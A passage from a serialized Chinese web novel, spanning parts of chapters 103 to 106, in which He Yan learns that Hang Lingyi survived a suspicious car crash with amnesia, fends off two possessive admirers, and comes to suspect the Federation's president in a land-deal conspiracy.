不过,既得利者是自己,只要不触及底线,他现在也并不介意用这种方法得到自己想要的东西。 贺衍眸色暗了暗,他的手掌在贺琚的头顶揉了一下,沉声道:“起来。” 贺琚的身体僵住了,哥哥刚才是—— 岑靳的脚步声逼近。 贺衍抓住贺琚的头发,贺琚几乎没有任何反抗地顺着他的力道抬起头,唇瓣被他咬得发白,身体颤抖,眼眶已经红了。 “哥哥,我好怕,他当初快把我打死了。” “艹,一堆废话。”岑靳把他从贺衍身上扯下来,直接把他踹到了地上。 “老子打你,那是你活该。” “你能不能赶走他。我好害怕,哥哥。”眼泪在眼中打转,贺琚的模样真是我见犹怜。 贺衍脸上没什么表情,像是看了一场无聊的戏码。他没再分给两人任何眼神,只是抽出来一张湿巾,开始擦拭手指。 那双灰蓝色的眼眸满是阴鸷,灰蒙蒙的一片,令人心惊。 岑靳胸口发堵,他冷笑一声:“贺衍,这家伙当初把你囚禁起来给你下药,你还敢把他放在身边。我今天知道,原来你这么心大。” 贺琚蜷缩在地上,他抿着唇瓣,睫毛颤动,压下了眼底的幸灾乐祸。 贺衍掀起眼皮看了眼岑靳:“你可以闭嘴吗?” 岑靳扯了下嘴角:“你让我闭嘴。怎么,你现在又站在贺琚这边了。也对,他干了那么多混账事,你都愿意让他待在你身边。” 岑靳有些气急败坏了,他盯着贺衍,希望听到贺衍的反驳,就算是简单的一个“不”都好。 但贺衍不过是起身,从他身边经过,把湿巾扔进垃圾桶。 “岑靳,那你觉得我该怎么办。”贺衍的语气依旧平静,“我其实挺想让你和他都在我眼前消失。” 两人的目光在空中交汇,岑靳忽然愣住了。 他无法从贺衍的眼中看到任何情绪波动,那里面平静地让岑靳有些心慌。 贺衍沉思了片刻,补充道:“但我现在还需要你,嗯,也需要贺琚。” “如果你不想帮我,也没有关系,消失在我眼前就好了。” 岑靳沉默地看着他,垂在身侧的手却暴起青筋。 半晌,他扯了扯嘴角。 “明天下午三点,别忘了。”岑靳扔下这句话,摔门离开。 既然岑靳还打算帮自己,看来暂时还不用再想别的办法。 贺琚还躺在地上,贺衍不在意地扫了一眼,路过的时候却被贺琚抓住了裤脚。 贺衍停在了原处:“贺琚,你还要在地上待多久?” “哥哥,我跟岑靳不一样,哥哥怎么利用我都可以。”贺琚躺在地上,对着贺衍露出了一个大大的十分灿烂的笑。 贺衍垂眸看着他。 “哥哥,我会一直让自己有价值的。”他尾音黏连,睫毛颤动间漏出碎星般的光。 “希望如此。” 第二天下午。 贺衍走出贺氏集团大楼的时候,岑靳正在楼下等他,他的身后,是一辆红黑相间的摩托车。 看到贺衍出来,岑靳扔给他了一个头盔:“淮新今天限号,我的车不能开。” 贺衍没有戳破他的谎言:“那开我的车。” 贺衍把头盔重新挂到他的车上,然后转身走向了车库。 岑靳看着贺衍越走越远,快步追上了他。 “我的车都被老头子扣住了,只有摩托车能开。”岑靳眉梢蹙起,他的眸色晦暗,半是解释半是委屈地说道,“贺衍,我都愿意让那个垃圾当你的秘书了,你别跟我生气了。” “而且你的车牌没有登记,进不了杭家就会被中途拦下。” 杭家在淮新的东城区,距离贺氏集团有二十几公里。 贺衍弓着背伏在车把上,后视镜里映出他眉骨下两道锐利的阴影。 后座的男人单手扣住保险杠,另一只手随意搭在油箱上,修长指节有一下没一下地敲击着车身的金属外壳,麦色小臂上的青筋随着发动机的震颤起伏着。 岑靳突然倾身:“前面左转。” 前座的人猛地拧转油门,脖颈的线条绷出凌厉的弧度,头盔下传来模糊的嗤笑。 “我知道路,别离我这么近。” 风吹散了贺衍的声音。 车身在弯道上划出漂亮弧线,岑靳盯着贺衍的后颈,喉结滚动。 他松开了保险杠,伸手环住了贺衍,手臂在他的腰间收紧,胸膛紧贴着他的后背,心跳快得像是要撞破胸腔。 摩托车停在了红灯前。 贺衍单脚撑地,转头看向身后的人。 岑靳松开了环在他腰上的手,颇有些无赖地说道:“如果你不想我搂着你,或者你可以坐后面。” 贺衍扯了扯嘴角,他知道岑靳什么意思,但与其被逼着搂住岑靳,他宁愿自己开。 摩托车在高耸的铁门前停下,安保人员验过车后放行。 十分钟后,才终于到达目的地。 杭家的庄园在淮新东城区最昂贵的地段,占地近二十亩。 杭家的管家早已站在门廊下等候,他穿着笔挺的黑色西装,头发梳得一丝不苟。 当岑靳和贺衍走近时,管家微微欠身,目光却落在贺衍身上。 “岑靳少爷,您身后跟着的是谁?”管家疑惑地问道,“今日的访客名单上,可只有您一个人。” 岑靳半点没有心虚地说道:“他是我男朋友,今天跟我一起的。” 管家轻轻微笑:“两位站在一起,真是一对璧人。不过,请您稍等一下,我需要跟夫人汇报一下情况。” 贺衍眉眼间找不到一点温度,他冷冷地瞥了岑靳一眼:“这就是你找的理由。” 岑靳几乎快要压不下上扬的嘴角,他偏过头,薄唇几乎贴上贺衍的耳廓,温热的呼吸拂过贺衍的耳尖:“如果我不用这个理由,你怎么可能跟着我一起进来。” 贺衍无声轻呵了一声,暂时没多说什么。 他敛眸沉思,唇角抿紧,从进到这里开始,他的神经就开始紧绷起来,总感觉会发生什么不太好的事。 忽然,岑靳得寸进尺地揽住他的腰:“配合点,男朋友。” 贺衍脸色一沉,正准备扯下岑靳的手—— “别乱动,有人在看。除非你想被赶出去,之前杭家内部的戒备可没有这么严。”岑靳低沉的嗓音在耳畔响起,语气也严肃了起来。 贺衍微眯了下眼,余光瞥见了二楼的人影。 杭家主宅。 “夫人,岑靳少爷是和他的男朋友一起来的,让他们进来吗?” 江如诗站在窗前,目光落在走廊内的两个身影上。 去年杭凌一辞掉铜海中级法院的职位的时候,她就该警觉的。 直到一个月多月前,在书房撞见杭凌一在翻找保险柜,她才意识到事态有多严重,那里面是杭靖云存放文件的地方,只有他一个人可以打开。 但杭凌一并不听劝,直接离开了家。 两周前,那场车祸发生的猝不及防。 但这怎么可能是意外。 车祸现场的监控录像她看了很多遍,那辆货车目的明确就是要撞杭凌一的驾驶座,绝不是一个醉汉能够做到的。 但肇事司机刚从监狱释放,车祸之后又不治身亡,线索完全断在了那里。 如果不是杭凌一在两车相撞的紧要关头躲闪,他就死在那里了。 江如诗想到两周前在病床前见到的自己儿子那张苍白的脸,就一阵心悸。 她吩咐医院的人通知贺衍杭凌一去世了,不想把贺衍牵扯进来。 只是她没想到,拒绝贺家的拜访之后,他居然还会这么执着地找上门来,甚至用岑靳做借口。 她微眯了下眼,只是,贺衍居然是岑靳这孩子的男朋友吗?她还以为他是自己儿子—— 江如诗敛眸,她垂着眼睛,不知想了什么,最终还是说道:“领他们进来吧。” 管家领着两人来到了正厅:“夫人正在等你们。” 贺衍心脏瞬间收紧,骤然有一种窒息感,紧接着心脏就开始不受控制地疯狂跳动。 岑靳垂眸看着他,低声说道:“走吧,都会搞清楚的。” 正厅的门被推开,一个黑发金眸的女人坐在沙发上,正看着他们。 她和杭凌一长得很像,一看就是母子,只是眼角多了几道岁月的痕迹。 “岑靳,”她微微颔首,目光却钉在贺衍身上,“他真是你的男朋友?” 贺衍感到岑靳的手臂在他腰间收紧,他蹙了下眉。 岑靳点头:“是的,江阿姨,这是贺衍。我们今天来——” 江如诗目光落到贺衍身上,那双金色的眼睛带着审视,最终归于了平静。 岑靳这孩子她也有一定的了解,并不像说谎的样子。 看来她之前的安排的确没有问题。既然贺衍不是自己儿子的男友,更没必要掺和进这一系列的麻烦事里。 “我今天有些不适,”江如诗突然打断了岑靳,“还是不接待你们了。管家,送客。” 贺衍心脏猛地一沉,他注意到了她神情的变幻,杭凌一的母亲认识自己? 管家已经走到他们身边,做出请的手势。 “等一下。”贺衍挣脱岑靳的手,上前一步,“江夫人,我只想知道杭凌一还活着吗?两周前的车祸——” 贺衍喉结滚动,手心开始冒汗,他迫切希望能从杭凌一的母亲口中得到答案。 江如诗并没有回答,她只是再次说道:“送客。” 管家礼貌微笑,带着两人离开。 贺衍蹙眉,不对劲,为什么她避而不谈。 阳光透过彩绘玻璃在他侧脸投下斑驳的光影,衬得贺衍的表情晦暗不明。 贺衍忽地顿住脚步,他抓住岑靳的手臂,指节因用力有些泛白。 贺衍嘴唇微微颤抖:“岑靳,你既然很早之前就认识江夫人了,你肯定了解她的为人。她这种态度,就表明杭凌一肯定还活着,对吧?” 岑靳微微蹙眉,他确实觉得奇怪。他压低声音,正准备说话,只是余光瞥见管家放慢的脚步,立即收住话头。 “等我们离开后再说。” 江如诗的态度已经说明一切,那场车祸绝非意外。但杭凌一到底在查什么?贺衍又知道多少? 拐角处突然闪过一道银光。 贺衍的脚步猛地顿住,瞳孔骤缩。 前面的男人有着一头银色的短发,身量高挑。 贺衍喉咙有些发紧,他几乎脱口而出:“杭凌一?!” 那人闻声回头,淡金色的眸子在阳光下像融化的琥珀。 贺衍的呼吸停滞了一秒,可对方扫过来的眼神,就像在看一个陌生人。 杭凌一的目光轻飘飘地掠过他,仿佛扫过一件无关紧要的摆设,最后停在岑靳脸上。 银发男人微微点头,语气略带疑惑:“岑靳?你怎么在这?” 第104章 第 104 章 “你的眼睛还好吗?…… 第104章 管家的脚步放缓:“少爷, 岑靳少爷是今天来拜访夫人的,旁边那位是他的男友,贺衍少爷。” 贺衍的目光落在了他的发梢上。 杭凌一眸色微滞, 不自觉地想要移开视线, 岑靳的男朋友难道也认识自己,姓贺, 贺衍,难道就是最近继承贺家的那个。 贺衍的脚步停在了原地,耳边像是蒙上了一层毛玻璃,耳鸣不止。 他攒紧了拳,深吸一口气, 混沌感终于消失, 模糊的视线开始聚焦。 他看着杭凌一, 唇瓣抿紧,喜悦从心间涌出,但喉咙却有些发堵, 想问的话到了唇边却如何也发不出声。 杭凌一眉梢微蹙了下,淡漠的金眸闪过丝许的疑惑, 岑靳什么时候离开军队了,居然还谈上对象了。 杭凌一狭长的眸微微上挑, 这个人, 他之前或许在哪里见过, 有点熟悉。 岑靳眸色微暗, 他侧眸看了眼贺衍,有些试探性地笑着说道:“最近都没联系上你,你出什么事了?” “你居然还会主动联系我。”杭凌一漫不经心的语气中带着些许的熟稔,他扫了眼贺衍, “出车祸了,脑子的血块压迫到了脑神经。最近都在家里静养,不过也不算什么大事。” “你也知道我母亲那个性格,伤好之前我估计也不会被允许出去了。” 杭凌一耸了下肩,碎发随着他的动作在阳光下摇曳,比起长发,莫名多了几分少年气。 “不过事在人为,要真是想关也管不住我。” 杭凌一的语气轻松,但贺衍站在原地,沉默无声。 如果杭凌一真的失忆了,贺衍抬眸,看着杭凌一难得一见的轻松笑意。 贺衍几不可察地叹了口气,怪不得杭家几次三番地拒绝他的拜访。要他是杭凌一的家长,也不会喜欢放任儿子冒险而不劝阻的朋友。 杭凌一没有死就好,只要人还活着就好。 贺衍唇角微微扬起,他的睫毛颤动,但很快,他就压下了鼻尖的酸涩。 杭凌一莫名口干,他移开视线,目光却无法控制地落到了贺衍身上。 他暗自咋舌,心跳有点太不正常了,难不成自己身上也存在什么一见钟情的戏码,而且还是自己好兄弟的对象。 贺衍朝他这个方向走过来,杭凌一心脏却控制不住地加速。 “你的小男朋友,是不是认识我,怎么一直在看我。” “不是男朋友。”贺衍平静地出声。 岑靳目光复杂,他有些微妙地冷呵了一声,灰蓝色的眸子黯淡了一瞬。 不是男朋友,杭凌一眼眸闪烁。 岑靳更加不爽了,他啧了一声,心里发涩。岑靳双手握拳,手上的青筋暴起,努力克制把贺衍拉回来的冲动。 他干脆眼不见心不烦地扭头看向了窗外。 春日的景色正好,窗外一片绿意。 艹,岑靳暗骂一句,余光瞥见贺衍已经走到了杭凌一眼前。 贺衍看向杭凌一的目光中没有暧昧,他也知道贺衍只把杭凌一当朋友。 但杭凌一就不一定了。 杭凌一的失忆不知道是真是假。 但车祸不可能像他说得那么简单。杭凌一想去玩命可以,但不能把贺衍牵扯到里面。 岑靳的眼眸晦暗,雾蒙蒙地很是阴沉。 贺衍在杭凌一面前停下,两人保持着安全的社交距离。 杭凌一眼眸微垂,他微眯了下眼,喉结却不自在地滚动了下。 贺衍声音有些干哑:“你还记得铜海法院附近的那家咖啡店吗?” 铜海中级法院附近的咖啡店,就只有一家。他之前没事的时候的确会去里面点一杯咖啡,但为什么岑靳的男朋友会提到这个咖啡厅。 “嗯,那家店的咖啡很好。”杭凌一的语气平淡,神色冷冽,下颌却紧绷着,语气带着疏离,但心脏几乎提到了嗓子眼。 贺衍盯着他,试图从他脸上看出什么别的东西。 杭凌一睫毛颤动,神态自若,实际上已经紧张到手心冒汗。他为什么会问我这个问题,难道其实我们在那里见过。 贺衍收回视线,咖啡店已经倒闭很久了,看来他是真的不记得了。贺衍想到U盘里的扫描文件,再想到两周前那场被定义为意外的车祸。 他能理解杭凌一母亲的做法,贺衍眸色暗了下去,唇角抿成一条直线。如果幕后真凶是联邦的首脑,那杭凌一的失忆,或许是一件好事。 杭凌一还活着,这就够了。 贺衍微微点头:“那里的咖啡的确不错。不多打扰了。” 淡金色的眼眸忽然闪过一丝无措,杭凌一神色晃动一瞬,他的指尖抽搐了下,最终也没有什么动作。 管家送两人离开庄园。 岑靳跨坐在摩托车上,贺衍把头盔扔给了他。 “不用送了,我一会儿打车离开。” 贺衍垂眸深思,沿着路边往外走去。 “去年寒假的时候,你去了台明市,跟杭凌一起。”岑靳低沉的声音从身后响起,“贺衍,既然现在你我都心知肚明,杭凌一的车祸不会是意外。” “那你能不能告诉我,杭凌一在查什么,你为什么又会牵扯到里面。” 贺衍掀起眼皮,顶了下腮帮,声音冷淡:“和你有关系吗?” “现在你见到杭凌一了,所以我没有利用价值了,对吗?”岑靳逼近贺衍,眉骨下的阴影让他的眼睛更加深邃也更加森冷。 他的神色冷鸷,但那双灰蓝色的眸中却带着几分不易察觉的心碎。 网约车停在了路边,司机摇下车窗,眯着眼打量不远处那两个年轻人。 那个高一点的男人,手腕上那块表少说值套房;而站在路边的青年虽然穿着简单,但脚上那双运动鞋也是限量款,他儿子念叨了大半年都没抢到。 “啧,杭家庄园出来的……”司机暗自嘀咕,目光又落在那辆造型凌厉的摩托车上。 这可不是普通富二代玩得起的玩意儿,去年他在车展上见过同款,标价两百六十万,还得要先验资才能试驾。 高个男人一把攥住青年的手腕,然后被青年直接反手踢了一脚。 司机看着两人剑拔弩张的对峙姿态,擦了擦汗,犹豫着要不要取消订单。 还没等他有什么动作,青年就朝自己这辆车走了过来,拉开后车门坐了进来。 “师傅,开车吧。” 司机心里叹气,他点了点头,看来也没办法取消了。但不过眨眼的工夫,刚才那个高个男人也坐了进来。 “滚下去。”贺衍没什么好脸色地瞥了岑靳一眼。 司机下意识屏住了呼吸,僵硬着脖子抬头看着车内后视镜,这两人不会真在自己车里打起来吧。 岑靳冷着一张脸:“我不下去。除非你告诉我,你们到底在干什么?” 岑靳还没反应过来,就看见贺衍突然倾身靠近。 他呼吸一滞,贺衍的睫毛近在咫尺,温热的呼吸拂过他的下颌,像羽毛轻扫过皮肤,激起了一阵细微的战栗。 岑靳喉结滚动了一下,下意识屏住呼吸,心跳陡然加快。 直到贺衍的手探进他的外套口袋,指尖擦过他的腰侧,轻巧地勾走了他的车钥匙。 “你——” 岑靳瞳孔微缩,他伸手想拦,却见贺衍已经干脆利落地推门下车,头也不回地走向路边那辆红黑色摩托车。 司机大气不敢出一下,从后视镜里偷瞄了一眼后座的男人。 岑靳的手还僵在半空,灰蓝色的眸子里闪过一丝错愕,随即又化作某种难以言喻的复杂情绪。 他盯着贺衍的背影,看着他跨上摩托车,利落地戴上头盔,引擎轰鸣。 岑靳低笑一声,明明被摆了一道,可心脏却不受控制地加速跳动。 司机小心翼翼地开口:“先生,那您……还走吗?” 岑靳收回目光,慢条斯理地整理了下袖口,眼底的笑意渐渐敛去,取而代之的是一抹深沉的暗色。 “按照原来的目的地出发吧。”他淡淡开口。 半个多小时后,摩托车一个漂亮的甩尾停在了“华苑”的大门前。 华苑小区是淮新安保级别最高的住宅区之一,一梯一户,二十四小时武装安保。 贺衍摘下头盔放在摩托车上,朝门口的保安点了点头说了几句,对方点了点头。 贺衍刷卡扫开闸门,头也不回地走了进去。 贺衍进去之后,岑靳乘坐的网约车才抵达了小区门口。 他刚下车,就被两名身穿制服的安保人员拦住了去路。小区门外,他的摩托车就停在不远处的专用车位上。 “抱歉先生,非业主不能进入。” 岑靳扯了下嘴角。 其中一个保安仔细看了眼岑靳,然后将钥匙递给了他:“先生,您的车钥匙。” 岑靳的指尖在钥匙上摩挲了一下,他抬眼望向小区深处,眉梢忽然蹙了起来。 刚刚那个身影,怎么那么像裴屷? 岑靳的瞳孔骤然收缩,一股难以言喻的烦躁感从心底蹿上来。裴屷为什么会出现在这里,难道他又和贺衍联系上了。 岑靳的眼神暗沉得可怕,他盯着保安冷声道:“要是在你们这儿买套房,是不是就能进去了?” 保安被他森冷的语气震得后退了半步,结结巴巴地回答:“是、是的先生,只有业主才能自由进出……” 岑靳冷笑一声,直接拿出手机拨通了一个号码。 贺衍刷卡走进六号楼的电梯,手指按在顶层的按钮上。 电梯门缓缓关闭的瞬间,一只修长的手突然伸进来,感应门再次打开。 “抱歉。” 一个低沉的男声响起。 贺衍抬眸,瞳孔骤然收缩,站在电梯门口的,赫然是裴屷。 他的眸中也闪过一丝错愕。 四目相对,两人同时怔住了。 贺衍的目光不由自主地落在了他的眼睛上。裴屷的左眼虹膜颜色比上次见面时更淡了,近乎透明的青色。 “你的眼睛还好吗?” “你住顶层?” 两人同时开口。 第105章 第 105 章 “过来。” 电梯里的光线是冷白色, 照得裴屷的侧脸格外清晰。他看起来和之前没太大区别,只是气质更加深沉了。 “能够看见了。”裴屷简短地应了下,刷卡后按下10层的按钮。 顶层是11层, 裴屷就住在自己楼下。这个认知让贺衍心里泛起一丝微妙的感觉。 裴屷站得笔直, 眉眼依旧冷峻,放在身侧的手指微微颤了下, 但贺衍却并没有看见。 电梯内的显示屏数字在不断攀升,但密闭空间里的空气却仿佛凝固了一般。贺衍站在电梯的一角,裴屷则站在电梯显示屏前,两人之间保持着恰到好处的距离。 “你什么时候搬过来的?”裴屷忽然开口,声音在狭小的空间里显得格外清晰, “我最近都是六点多回来, 之前没有遇见过你。” 贺衍抬眼, 对上裴屷平静的目光:“一周前。我经常八点多才回来。” 他顿了顿,开口道:“没想到你也住这里。” 裴屷平静地说道:“嗯,这里交通方便。” 交通方便?贺衍垂眸, 睫毛轻颤,联邦大学的确就在附近。 但贺衍没有问, 他只是拿出手机,随意地刷起了新闻。 他的眼睛忽然死死地钉在了屏幕上, 点开了那条时政新闻:[经济部罗部长有望担任联邦副总统……] 空气又恢复了安静。 电梯发出“叮”的一声轻响, 10层到了。电梯门缓缓打开, 裴屷却没有立即走出去。他侧过身, 眼睛直视着贺衍:“贺衍,我的电话号码一直都没变。” 这句话的声音很轻,语气也很平静。 贺衍愣了下,莫名其妙的, 却从里面听出了些许的难过。 电梯门再次合上了。 贺衍推开房门,将自己重重摔进沙发里。 暮色透过玻璃窗漫进屋内,在地面上留下了一道夕阳的光晕。 他仰头盯着天花板,喉结随着呼吸微微滚动,眼底一片冷寂。裴屷居然住在楼下吗,如果他能够通过裴屷见到裴行赫—— 这个想法在他的脑海中一闪而过,便被贺衍再次否决了。 贺衍抬手遮住眼睛,窗外最后一线的夕阳正在消逝,房间彻底暗了下来。 他不知道什么时候睡过去了。 醒来的时候,外面的天昏沉阴暗,还下着淅淅沥沥的小雨,潮湿的空气从没有关紧的窗户缝隙渗进屋内。 贺衍眼皮沉重,挣扎着从沙发上坐了起来。他揉了揉有些发胀的头,喉咙干到连吞咽都觉得困难。 怎么会这么渴? 手机已经没电关机了,贺衍充上电,站起来给自己倒了一杯水。 贺衍愣了下,中午十二点了?他居然睡到了这个时候。 手机弹出来十几个未接电话,基本上全是贺琚的。 还有两个未接电话来自黄弘资,是半个小时前打的。贺衍拨了回去,对面很快就接通了。 黄弘资的声音咋咋呼呼:“贺衍,你可终于接电话了。” “他们班长说你当初留的那个电话好像填错了,给你打不通。让我联系你一下——”听筒里传过来些许杂音,黄弘资好像正在食堂吃饭。 “出什么事了吗?”贺衍蹙了下眉,把水杯放到了桌面上。 “你可能没看到那个消息吧。今年学校改革,大二前的暑假学校会给每个学生分配和专业相关实习,强制要求每个学生都参加,据说是为了更好地适应大二的学习。” 黄弘资喝了口汤,继续说道:“不过这个实习需要学生签字确认,他大概是想问你什么时候回铜海吧。” 贺衍点开了学院的通知群,早上八点多发的通知,要求这周五之前所有的学生都要签确认书。 贺衍点开公告看了一眼,并没有要求学生必须亲自回去:“你帮我签了吧,我这周应该回不去。到时候请你吃饭。” 挂断电话没过几分钟,贺琚的电话又打了进来。 “哥哥,如果你再不接电话,我就要报警了。” 贺衍没给贺琚继续长篇大论的机会,直接说道:“睡过头了,下午回去公司。” “哥哥你还没吃午饭,我们一起——” “不用。” 他挂断了电话。 窗外的风变大了,雨也变大了,溅到了阳台的茉莉花上。 潮湿的冷意几乎弥散在整个房间内。 贺衍走到窗前关紧了窗户,不经意往下看了一眼。六号楼门前的树下,站着一个穿着黑色风衣打着黑色大伞的人。 贺衍漫不经心地收回视线。 简单地在家里给自己做了一顿饭,下午两点左右,雨还在下。 贺衍坐电梯到了楼下,他刷卡打开大厅的玻璃门,走出了六号楼。 他还没打开伞,视野中就出现了一双黑色的皮鞋。 贺衍抬眸,撞进了一双灰蓝色的眼眸中。贺衍平静地收回视线,打开伞,朝着小区大门的方向走去。 脚步声跟在他的身后,在拐弯的转角,岑靳出声:“我在这里买了一套房。” 贺衍在这里见到他的时候,就已经猜到了这一点。 雨打在伞身,雨滴声连缀成一片,沙沙作响。 贺衍的脚步并没有停下,他绕过岑靳,雨伞相互碰撞。 岑靳用伞拦住了他的路,贺衍眉梢蹙了下,他抬头看向岑靳,“有话直说。” “你来淮新的目的绝不是为了继承贺家,否则当初你也不会那么毅然决然地离开。”岑靳沉声,“贺衍,你是为了杭凌一才来这里的,你当初以为他死了,否则你也不会回到淮新。” 贺衍神情淡漠:“说完了吗,我可以走了吗?” 他说这话时甚至没有分给岑靳半分眼神,只是抬手看了下时间,语气还带着些许的不耐。 岑靳下颌紧绷,唇角抿成一条直线。 “杭凌一的身份本应是他最大的护身符,可对方依然毫不顾忌地下了死手。贺衍,既然你已经知道了杭凌一还活着……这件事,到此为止吧。” 贺衍攥紧了伞柄,因为过于用力,骨节都泛着白。他眉梢微挑,忽地嗤笑了一声:“岑靳,你知道吗,我一直觉得这个世界很没有意思。” 雨势渐大,水珠顺着伞沿砸落,溅湿了他的裤脚,他却浑然不觉。贺衍微微偏头,眼底映着远处模糊的雨雾,很冷又很疏离。 “这件事,是我当前唯一感兴趣的事情了。” 他抬手,伞面微倾,雨水顿时斜飞着划过两人之间。 岑靳下意识后退半步,而贺衍却只是漫不经心地扯了扯嘴角:“所以,不要拦我。” 贺衍的眼神透过雨帘刺了过来。 漫长的沉默里只有雨水敲击伞面的声响。 在贺衍转身离开的瞬间,他听到了身后的声音,脚步瞬间停下了。 “我找到了杭凌一当时车祸的监控。” 贺衍的伞又压低了几分,阴影彻底吞没了他的表情,他握着伞柄的手背暴起青筋。 贺衍的表情瞬间凝固,他冷啧了一声,抬起伞,直直地看向岑靳:“你要我用什么东西做交换?” “我可以帮你。”岑靳向前半步,像是在做出某种承诺一般。 “但你要告诉我你们在查什么?” 贺衍嗤笑了一声:“我不相信你,岑靳。” 岑靳唇角扯了下,露出一丝苦笑,他这次没有再追上去。 下午三点,贺氏集团大楼顶层。 贺琚站在落地窗前,盯着大楼外的人影,哥哥什么时候才能过来。 他几乎将整张脸都贴在冰凉的玻璃上,墨黑色的眼底翻涌着浓稠的暗色。 办公室的门被推开,贺衍走了进来,办公室没有开灯,和阴沉的天气一样,昏暗一片。 贺琚就站在门后,他太高了,投下的阴影几乎能将贺衍整个笼罩进去。 贺衍皱了皱眉,手指不自觉地收紧。 贺琚似乎察觉到了他的不悦,忽然弯下了腰,视线与贺衍齐平。 “哥哥昨天下午去干什么了?”贺琚的声音很低,带着一丝不易察觉的紧绷,笑容已经从他的脸上消失了,“是去见杭凌一了吗?” 贺衍抬眼看他,神色冷淡。 贺琚忽然扯了扯嘴角,眼底却毫无笑意:“我原来才知道,哥哥居然喜欢杭凌一那种类型,居然愿意为了他回来淮新。” 贺衍烦躁地绕开了他,真是不懂这些人,什么都能扯到喜欢这件事上。要是真谈喜欢,比起男人,他更喜欢女人。 “要真按你这么说,”贺衍几乎没什么犹豫,“那比起你,我的确更喜欢他。” 贺琚的瞳孔骤然紧缩,空气仿佛在这一瞬间凝固,连呼吸都变得滞涩。 他的喉结上下滚动了一下,嘴角却缓缓勾起一个温柔的弧度。 “这样啊……”他的声音轻得几乎听不见,尾音却带着诡异的颤意。 窗外的雨变得更大,乌云密布,豆大的雨滴砸在玻璃上。 贺琚忽然向前迈了一步,他的阴影重新笼罩下来,却在即将触碰到贺衍时硬生生停住,保持着恰到好处的距离,“哥哥真是,总是知道怎么让我难过呢。” 贺衍没在意贺琚的忽然发疯,他走到一旁,打开了灯,整个办公室瞬间通亮。 贺衍对着贺琚招了招手:“过来。” 他今天来,有事要问贺琚。 第106章 第 106 章 “听话一点。” 第106章 贺琚的瞳孔在灯光下微微收缩, 但他几乎是条件反射地迈开了腿,步伐很稳。 贺衍坐到了单人沙发上,示意贺琚坐到对面。 但贺琚却站到了沙发一侧, 他垂眸看着贺衍, 这个角度,只要低头就能咬住那截白皙的后颈。 “哥哥要问什么?”贺琚半蹲下来, 他抬头看着贺衍,呼吸频率放缓,露出了没有丝毫攻击性的表情,喉结却不受控制地上下滚动。 他那张脸的确很有迷惑性,但贺衍只是侧眸扫了一眼, “坐对面。” 贺琚上次提起不愿继承贺家时, 只说对经商没什么兴趣, 另外还有一点是,他没贺忠载野心那么大。 贺衍只当贺琚不想说清具体原因,所以才解释得如此含糊。但当时他的心思都在杭家身上, 不过现在,他想问清楚了。 “贺忠载去世的那一天, 你知道他去哪里了吗?” “哥哥怎么突然问这个?”贺琚笑了下,扶着沙发的扶手慢慢站了起来, 他语气随意, “他去世的那天, 我正在外面拍戏, 我也不清楚。” 他在说谎。 贺衍眉梢拧了下,他抿了下唇,眼底闪过几分厌恶和自嘲,他随后抬眼看向了贺琚。贺衍抬手, 勾住了贺琚的领带。 贺琚整个人都僵住了,呼吸骤然停滞,但下一秒他就顺从地弯下了腰,这个姿势让他的胸膛几乎贴上贺衍的膝盖。 “哥哥又不想我坐到对面了吗?”贺琚笑着说道,眼底泛起病态的愉悦,连睫毛都在轻颤。 “贺忠载到底在参与什么?”贺衍直直地看着他。 “哥哥这么想知道啊,是为了谁呢。”贺琚眼底的笑意消失,他单手撑在沙发上,凑近了贺衍。 “肯定不是为了我,让我想想。啊,一定是为了杭凌一。” 贺衍冷啧了一声,他微微敛眸。 领带在贺衍指间收紧,勒得贺琚喉结微微发疼。贺琚又被迫低下头几分,温热的呼吸直接喷洒在贺衍的颈间。 他贪婪地嗅着贺衍身上的气息,舌尖无意识地舔过干燥的唇瓣。 “这个消息很重要。”贺琚突然轻笑着呢喃道,“哥哥如果真的想知道——” 他的手指悄悄攀上贺衍的膝盖,隔着西装面料轻轻摩挲着。 窗外雨声渐密,贺琚贴近贺衍耳边,温热的唇几乎碰到他的耳垂:“那哥哥就该给我我想要的。” 贺衍的眼神骤然冷了下来,手指突然插进贺琚的发间,狠狠攥住那他的头发向后一拽。 “你想要什么?” 贺琚因疼痛微微眯起眼,他顺从地仰着头,声音却依旧含笑:“哥哥一直都清楚不是吗?” 他微眯的双眼蒙着层水雾,那目光稠得化不开,带着疼痛催生出的湿意,一寸寸缠上贺衍的呼吸。 贺衍松开手,忽然站了起来,贺琚踉跄了一下,后腰撞上办公桌。 但他非但没有生气,反而轻笑了下。 他的指尖勾住了贺衍的裤脚,脸颊贴在了贺衍的双腿之间,漆黑如墨的欲念在眼底翻涌:“哥哥刚才,是不是有反应了?” “我可以帮哥哥的。”贺琚眼里闪过一丝病态的愉悦,他的尾音拉长变轻,带着蛊惑,“男人之间互相帮助,不是很正常的吗,哥哥。” 贺衍自嘲地扯了下嘴角,眼底闪过一丝嫌恶,他不是没有和男人做过,但是—— 他果然还是无法接受,贺衍的眸色变暗。 贺琚敏锐地捕捉到贺衍眼中闪过的晦暗,他松开了裤脚,缓缓直起身后退半步,低头整理着自己被扯乱的领带,又恢复了那副人畜无害的模样。 “开玩笑的。”贺琚歪着头笑了笑,“哥哥不会当真了吧。” 窗外的雨声忽然变大,贺琚的声音混在雨里:“贺忠载到底在参与什么,说实话我也不清楚。不过贺忠载的死的确是意外,但他去世的那天下午,去了裴家。” 贺衍的呼吸微不可察地一滞,思绪飞速运转。 他重新翻开了淮新开发区项目的合同,确定了自己的猜测。 淮新开发区的项目目前完全处于停滞阶段,根据合同,如果逾期超过三个月,这份价值十几亿的合同就会自动失效,联邦政府势必会重启招标程序。 罗勋章到时候可能已经升任副总统,更不会再接触这个项目,自然能完美抽身。 如果贺琚所言属实,那么贺叁的沉默就完全说得通了,毕竟任谁也不敢把贺忠载死扣在联邦总统身上,哪怕只有一丁点联系。 贺忠载生前就处心积虑想要攀附裴家,临死前还秘密地前往裴家会面更是蹊跷。 就算罗勋章是明面上的操盘手,裴行赫当真能全然不知情? 要是查到最后,那些见不得光的低买高卖的土地,那些被迫失业的工人,都是裴行赫为了竞选的手段。 贺衍想到这位满身赞誉的总统,忽然低笑出声。 “有意思。” “哥哥?”贺琚的声音带着些许迟疑,哥哥怎么表现和自己想的完全不一样。 贺衍眼底燃烧着令人战栗的兴奋。 他之前的方向都搞错了,他不应该把目标放在罗勋章身上。不管裴行赫到底清不清楚这件事,但罗勋章的升与降,都不过是裴行赫的一念之间。 贺衍的指尖轻轻敲击着桌面,节奏逐渐变得清晰而笃定。 他从来不是杭凌一那种理想主义的殉道者,也没有高尚地想要改变这个社会的追求。 